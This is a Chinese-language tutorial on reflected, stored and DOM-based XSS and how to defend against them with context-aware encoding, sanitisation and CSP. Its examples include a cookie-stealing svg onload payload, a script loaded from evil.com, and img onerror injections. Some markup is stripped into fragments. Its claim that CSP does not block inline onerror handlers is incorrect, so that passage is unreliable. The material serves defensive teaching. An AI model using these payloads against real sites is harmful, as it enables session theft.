反射型、存储型、dom型xss本质均为未按输出上下文编码用户输入:html中需实体转义,js中需字符串转义,url中需url编码;防御核心是渲染时上下文感知编码而非输入过滤,csp仅为补充防线。

反射型XSS:URL参数直接回显到HTML未转义
典型现象是用户点击一个带 <script></script> 的链接后,页面立刻弹窗或发请求——比如访问 https://site.com/search?q=<img>,服务端把 q 参数原样塞进 HTML 输出,浏览器就执行了 onerror 里的 JS。
关键问题不在“有没有脚本标签”,而在于输出位置是否做了上下文适配的编码。比如在 HTML body 中插入用户输入,必须做 HTML 实体转义;若插入到 <script></script> 标签内,则需 JS 字符串转义;若作为 URL query 值,则需 URL 编码。
- 别只过滤
<script></script>——<img onerror="...">、<a href="javascript:..."></a>、<iframe src="javascript:..."></iframe>同样危险 - 服务端渲染时,所有动态插入点都应调用对应上下文的编码函数,如 Node.js 的
he.escape()(HTML)、JSON.stringify()(JS 字符串) -
前端用
innerHTML = userContent是高危操作,改用textContent或innerText更安全
存储型XSS:恶意内容存进数据库后反复触发
攻击者在评论、昵称、个人简介等可持久化字段中提交 <svg onload="fetch('/api/steal?c='+document.cookie)"></svg>,之后每个访问该页面的用户都会静默泄露 Cookie。
这类攻击不依赖 URL,危害周期长,修复成本高。防御核心不是“入库前删掉 script 标签”,而是“出库渲染时按上下文编码”——因为同一段数据可能被用在 HTML、JS、CSS、URL 多个位置。
- 入库时做“净化”(如用 DOMPurify 过滤 HTML)仅适用于富文本场景;纯文本字段建议入库不做处理,渲染时再编码
- 避免在服务端拼接 HTML 字符串返回,优先使用模板引擎(如 EJS 的
自动转义,手动控制) - 如果必须渲染富文本,用
DOMPurify.sanitize(html, {ALLOWED_TAGS: ['b','i','p']}),禁用所有事件属性(on*)和javascript:协议
DOM型XSS:纯前端操作导致的执行流污染
常见于单页应用中读取 location.hash 或 URLSearchParams 后直接赋值给 innerHTML、document.write() 或 eval()。例如:document.getElementById('content').innerHTML = new URLSearchParams(location.search).get('t'),攻击者传入 ?t=<img src="x" onerror="alert(1)"> 就触发了。
这种攻击完全绕过服务端,连 CSP 都拦不住——因为脚本是浏览器自己解析执行的,不是从外部加载的。
- 永远不要用
innerHTML、document.write()、eval()、setTimeout(string)处理用户可控数据 - 读取 URL 参数后,若需插入 DOM,请用
textContent+ 创建元素 +appendChild()的方式替代字符串拼接 - 现代框架(React/Vue)默认对插值做 HTML 转义,但遇到
v-html或dangerouslySetInnerHTML时,必须自行确保内容已净化
CSP 是最后一道防线,但配置错误等于没开
加了 Content-Security-Policy: default-src 'self' 并不能防住所有 XSS。比如攻击者用 <img src="x" onerror="alert(1)">,它不加载外部资源,也不执行 inline script,CSP 完全不拦截。
CSP 真正起效的场景是:阻止 <script src="http://evil.com/xss.js"></script>、禁止 eval()、限制内联脚本执行。但它无法防止 DOM 操作本身带来的逻辑漏洞。
- 启用 CSP 必须配合
script-src 'self' 'nonce-abc123'+ 页面<script nonce="abc123"></script>,否则非白名单脚本全被拦,连自己的 JS 都跑不了 -
unsafe-inline和unsafe-eval是 CSP 的两个最大破绽,除非万不得已,否则禁用 - 用
report-uri或report-to收集违规日志,能帮你发现漏掉的 XSS 入口点
最常被忽略的是输出上下文的多样性——同一段用户输入,可能出现在 HTML 属性、JS 字符串、CSS 值、URL 路径里,每种都需要不同的编码方式。用错一种,就等于开了后门。
前端入门到VUE实战笔记:立即使用
在学习笔记中,你将探索 前端 的入门与实战技巧!











